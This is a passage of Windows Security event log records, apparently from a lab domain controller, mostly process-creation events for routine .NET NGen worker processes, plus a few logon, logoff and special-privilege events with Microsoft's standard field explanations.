	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 7a0 -Pipe 7b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255121
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7c8 -InterruptEvent 0 -NGENProcess 7a4 -Pipe 700 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255120
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcfc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7cc -InterruptEvent 0 -NGENProcess 754 -Pipe 7a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255127
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7bc -InterruptEvent 0 -NGENProcess 7f0 -Pipe 7e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255126
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 79c -InterruptEvent 0 -NGENProcess 78c -Pipe 7fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255125
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 75c -InterruptEvent 0 -NGENProcess 6b0 -Pipe 7cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255124
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 79c -InterruptEvent 0 -NGENProcess 7e0 -Pipe 648 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255133
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 7e4 -Pipe 7b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255132
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7a0 -InterruptEvent 0 -NGENProcess 7e8 -Pipe 7f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255131
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1130
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d8 -InterruptEvent 0 -NGENProcess 7bc -Pipe 7c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255130
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xac8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7ec -InterruptEvent 0 -NGENProcess 7b0 -Pipe 7b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255129
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 7c4 -Pipe 7ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255128
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7f8 -InterruptEvent 0 -NGENProcess 7a0 -Pipe 7f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255135
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x118c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d4 -InterruptEvent 0 -NGENProcess 7c4 -Pipe 7a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255134
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7d4 -InterruptEvent 0 -NGENProcess 7e8 -Pipe 754 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255136
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1DC11D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:08:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255139
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x28AED6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:08:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255138
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x28AED6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62545

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:08:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255137
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x28AED6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:09:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255145
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7ec -InterruptEvent 0 -NGENProcess 80c -Pipe 79c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255144
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
